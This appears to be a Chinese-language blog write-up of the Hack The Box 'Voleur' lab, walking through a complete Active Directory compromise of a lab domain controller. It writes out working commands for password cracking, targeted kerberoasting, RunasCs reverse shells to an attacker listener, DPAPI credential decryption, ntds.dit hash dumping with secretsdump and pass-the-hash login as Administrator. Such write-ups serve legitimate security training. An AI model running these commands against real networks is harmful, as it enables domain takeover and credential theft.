【Hack The Box】Voleur Write Up

前言

这个靶机大概是一个月之前完成的,中间有事耽搁了,现在才有时间整理一下。虽然对于拿下靶机时效性已经不强了,但是我认为渗透思路远比单纯的打靶流程更重要。在这篇文章中,我仍然会把涉及到的知识点详细记述一下,希望能对读者有所帮助。

信息收集

Nmap

nmap -A 10.10.11.76

1

发现开放了诸如139(NetBIOS)、445(SMB)、5985(WinRM,也可以看这篇博客)端口,判断是一台域控主机。

获得立足点

作者给了一个账号ryan.naylor / HollowOct31Nyt。先看一下有什么共享目录可以访问。

netexec smb 10.10.11.76 --shares -u 'ryan.naylor' -p 'HollowOct31Nyt'

然后就报错了。

2

“STATUS_NOT_SUPPORTED”这个错误代码的意思是身份验证方法或协议不被目标服务器支持。

默认情况下,netexec这个工具是使用NTLM协议进行认证的,但是这次的靶机关闭了NTLM协议认证,只能通过Kerberos协议进行认证。这也为后续的渗透工作带来了无数的麻烦。

在netexec中,可以使用-k选项开启Kerberos协议认证。

netexec smb DC.voleur.htb --shares -u 'ryan.naylor' -p 'HollowOct31Nyt' -k

3

又一个报错。“KRB_AP_ERR_SKEW”这个错误代码的意思是时间差距过大。由于Kerberos协议的原理,需要客户端和服务器时间差距不能过大。根据我的经验,一般时间差距在一分钟之内即可通过认证。

网络上的教程一般是说使用rdate解决时间同步的问题。但是我这边使用rdate报错了,没有成功。

又经过一番研究,发现可以使用net工具查看服务器时间。

net time -S 10.10.11.76

然后将本机的时间设置成和服务器时间相同即可。

这里需要注意一下,设置本地时间尽量和服务器设置一个时区,否则还需要手动换算时间。
可以使用net time zone -S 10.10.11.76命令来查看服务器时区。

再来尝试一下,可以看到已经可以成功获取SMB共享。

4

可以看到我们对一个名为IT的共享目录是有读权限的。

之前,都是使用smbclient查看SMB共享目录,但是貌似由于smbclient不支持Kerberos协议。其实它有一个-k的选项,但是标记了废弃且连接不成功,使用新的--use-kerberos选项也连接不成功。

后面经过查找,发现可以使用Impacket工具包中的smbclient.py连接SMB共享目录。

./smbclient.py 'voleur.htb/ryan.naylor:HollowOct31Nyt@DC.voleur.htb' -k

在smbclient.py中,可以使用help命令查看所有可以使用的命令。

5

这里我们可以从共享目录拿到一个名为Access_Review.xlsx的Excel文件。

kali默认没有安装打开Excel的应用,可以安装LibreOffice来打开这个文件。

尝试打开文件,但是发现文件存在密码。

当时看到了LibreOffice中文社区的一篇文章,发现可以使用Python脚本破解文件密码。但是示例程序是单线程的,破解速度较慢。尝试将示例程序修改成多线程脚本。

不过最后并没有使用Python脚本破解文件密码。在查询信息的过程中,发现可以使用john工具包的office2john.py工具将文件的密码提取出来,然后使用john破解密码。更多的解释可以参考这篇文章

python3.11 office2john.py Access_Review.xlsx > hash.txt
john --wordlist=rockyou.txt hash.txt

6

使用破解的密码,成功打开Excel文件。

7

文件里面主要是一些用户名和部分用户的权限。

先使用bloodhound-ce-python收集一下域内信息。

bloodhound-ce-python -c all -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -dc DC.voleur.htb -ns 10.10.11.76 --zip

由于我们现在有密码的是svc_ldap和svc_iis这两个账号,我们在bloodhound中重点关注这两个账号。

最后发现,svc_ldap对svc_winrm账号有WriteSPN权限。根据这篇文章,拥有WriteSPN权限可以对相关账号进行targeted kerberoasting攻击。

8

前面提到的文章给了targeted kerberoasting的两种方法利用方式。一种是使用targetedKerberoast.py,但是我没有利用成功。后面经过研究,发现是需要先获取TGT,然后使用TGT认证。嗯,又是Kerberos带来的麻烦。如果想尝试这个方式,可以参考这篇博客

现在我们来说明另一种利用方式。首先使用bloodyAD添加SPN,然后使用netexec获取票据,进而破解获取密码。

bloodyAD -d voleur.htb --host DC.voleur.htb -u 'svc_ldap' -p 'M****n' -k set object "svc_winrm" servicePrincipalName -v 'http/anything'

9

nxc ldap DC.voleur.htb -u 'svc_ldap' -p 'M****n' -k --kerberoasting kerberoastables_scv_winrm.txt

10

我们可以获取两个账号的票据,但是只有svc_winrm账号的密码可以被解密。

hashcat -a 0 -m 13100 kerberoastables_scv_winrm.txt rockyou.txt --force

11

尝试使用evil-winrm登录,但是被拒绝。

12

想到是不是又是因为Kerberos协议的问题。看下evil-winrm的帮助信息,看看怎么使用Kerberos协议认证。

13

可以看到-r--spn-i这三个选项提到了Kerberos协议。但是,帮助里面的信息仍然很模糊,不知道怎么使用相关的选项。

查看evil-winrm的官方文档

14

总的来说,首先需要先获取一个票据,然后将获取的票据添加到缓存,最后还需要配置/etc/krb5.conf。

这里由于也是第一次使用这些工具,只是照着文档操作,没有太深入的理解,因此后面还是遇到了一些问题。这个后面再讲。

getTGT.py voleur.htb/svc_winrm:A****i

15

export KRB5CCNAME=svc_winrm.ccache
sudo vi /etc/krb5.conf

/etc/krb5.conf文件的内容。

[realms]
VOLEUR.HTB = {
kdc = DC.voleur.htb
}

尝试使用Kerberos协议认证连接。

evil-winrm -i DC.voleur.htb -r voleur.htb

16

仍然报错。

回头再看官方文档,可以看到文档中说可以使用klist查看票据。但是kali并没有默认安装这个程序,需要手动安装一下。

sudo apt-get install krb5-user

17

但是尝试连接,仍然失败。

经过长时间的查找,发现需要在/etc/krb5.conf中配置libdefaults。

/etc/krb5.conf文件的内容。

[libdefaults]
default_realm = VOLEUR.HTB

[realms]
VOLEUR.HTB = {
kdc = DC.voleur.htb
}

尝试连接,终于成功。

18

发现user.txt。

19

权限提升

再来看一下这个权限关系。

8

可以发现,svc_ldap这个用户在一个restore_users组中。经过一番搜索,发现一个叫做AD回收站的东西。

还记得在Excel文件中那个已经被删除的用户吗?显然可以通过svc_ldap用户将那个被删除的用户恢复出来。

但是问题来了,svc_ldap没有使用WinRM连接的权限。经过查找,可以使用runas命令。runas命令可以让一个账号使用另一个账号的权限执行命令。

然而,运行runas命令却并没有成功,运行命令不报错,但是也没有结果。同时,也没办法在交互式认证时输入密码(可能是evil-winrm的问题)。

经过一番查找,发现可以使用RunasCs

使用upload命令将RunasCs.exe上传到靶机,同时在本地启动一个监听。

nc -lvvp 2333

使用RunasCs抛出一个powershell。

./RunasCs.exe svc_ldap M****n powershell -r 10.10.16.24:2333

参考微软的文档(123),恢复Todd.Wolfe账号。

Get-ADObject -Filter 'Name -Like "*Todd*"' -IncludeDeletedObjects
Restore-ADObject -Identity '1c6b1deb-c372-4cbb-87b1-15031de169db'

20

21

22

可以看到,“Deleted”标签已经没有了。

在Excel文档中,已经写出了Todd.Wolfe账号的密码。可以同样使用RunasCs抛出一个powershell。

./RunasCs.exe Todd.Wolfe N****4 powershell -r 10.10.16.24:6666

上传了一个WinPeas,但是没有扫描出什么有用的信息。

翻了一下文件目录,发现一个名为IT的目录比较可疑。

里面有三个目录,联系前面Excel文件的内容,Todd.Wolfe属于Second-Line Support Technician,那么名为Second-Line Support的目录就值得看一下了。

23

发现一个存档的Todd.Wolfe账号的用户文件。

翻一下敏感的目录,发现有凭证也被存档了。应该可以使用DPAPI解密出密钥。

24

25

26

将凭证和加密密钥下载到本地,解密出密钥(详细过程可以参考这篇博客)。

27

可以看到解密出jeremy.combs账号的密码。突然发现,Excel文档中说jeremy.combs账号可以远程登录。通过和前面同样的方式使用evil-winrm登录。当然,也可以使用前面的方式,用RunasCs反弹一个shell。

由于jeremy.combs在Excel文档中标记属于Third-Line Support Technician,登上去之后,直奔IT目录下的Third-Line Support目录。

28

先看看Note.txt.txt里面有什么。

29

文件是Admin给Jeremy的留言。Admin说他受够了Windows的备份,尝试通过WSL使用Linux的备份工具,想让Jeremy帮忙配置一下。并且留下了一个id_rsa文件。

尝试访问Backups目录,当然是没权限啦。

将id_rsa文件下载到本地。还记得之前nmap的扫描结果吗?有一个2222端口监听的是ssh服务。尝试连接。

这里需要注意,id_rsa文件需要设置权限为600(sudo chmod 600 id_rsa),否则会报一个“Permissions 0664 for 'id_rsa' are too open”的错误并导致连接失败。

这里尝试了好几个用户名,才试出来使用svc_backup账号登录。后来看了一下Excel,发现里面已经提示了svc_backup账号是用于备份的。

ssh -i id_rsa -p 2222 svc_backup@10.10.11.76

成功连接。

经过查询,在WSL中,Windows文件系统通常会挂载在Linux的/mnt目录下。看一下之前提到的Backups目录的内容。

ls -la /mnt/c/IT/'Third-Line Support'/Backups

30

在Active Directory和registry目录下又分别有这些文件。

31

32

经过查询,发现ntds.dit文件是Active Directory的核心数据库文件,它存储NTLM 哈希、Kerberos 密钥、LAPS 密码、krbtgt 哈希、用户属性(如最后登录、密码历史)和复制元数据。这篇博客详细解释了相关文件的内容。

根据这篇博客这篇博客,可以使用SYSTEM文件解密ntds.dit文件。Impacket中的secretsdump模块已经实现了相关功能。

确定了思路就开始操作。首先,将两个文件下载到本地。

scp -i id_rsa -P 2222 svc_backup@10.10.11.76:/mnt/c/IT/'Third-Line Support'/Backups/'Active Directory'/ntds.dit .
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:/mnt/c/IT/'Third-Line Support'/Backups/registry/SYSTEM .

然后,使用secretsdump.py解密。

./secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

33

可以看到,已经解密出了Administrator账号的hash。

使用getTGT.py申请Administrator账号的票据,然后通过evil-winrm登录。

登录过程除了使用getTGT.py申请票据时需要用hash认证外,其他操作与前面相同。

./getTGT.py -hashes aad3****9ad2 voleur.htb/Administrator

34

可以看到成功登录。

查看Root Flag。

35

后记

这个靶机的环境设置比较贴近真实的生产环境。渗透过程涉及多个账号的提权与冒用,整个过程是比较曲折的。

在本次渗透过程中,使用Bloodhound获取信息的面比较窄,主要集中在svc_ldap账号上。通过Excel文档和其他信息(例如目录名)获取的信息较多,这也提示在渗透测试的过程中,多渠道信息收集的重要性。

posted @ 2025-10-09 17:50  Sh3r10ck  阅读(56)  评论(0)    收藏  举报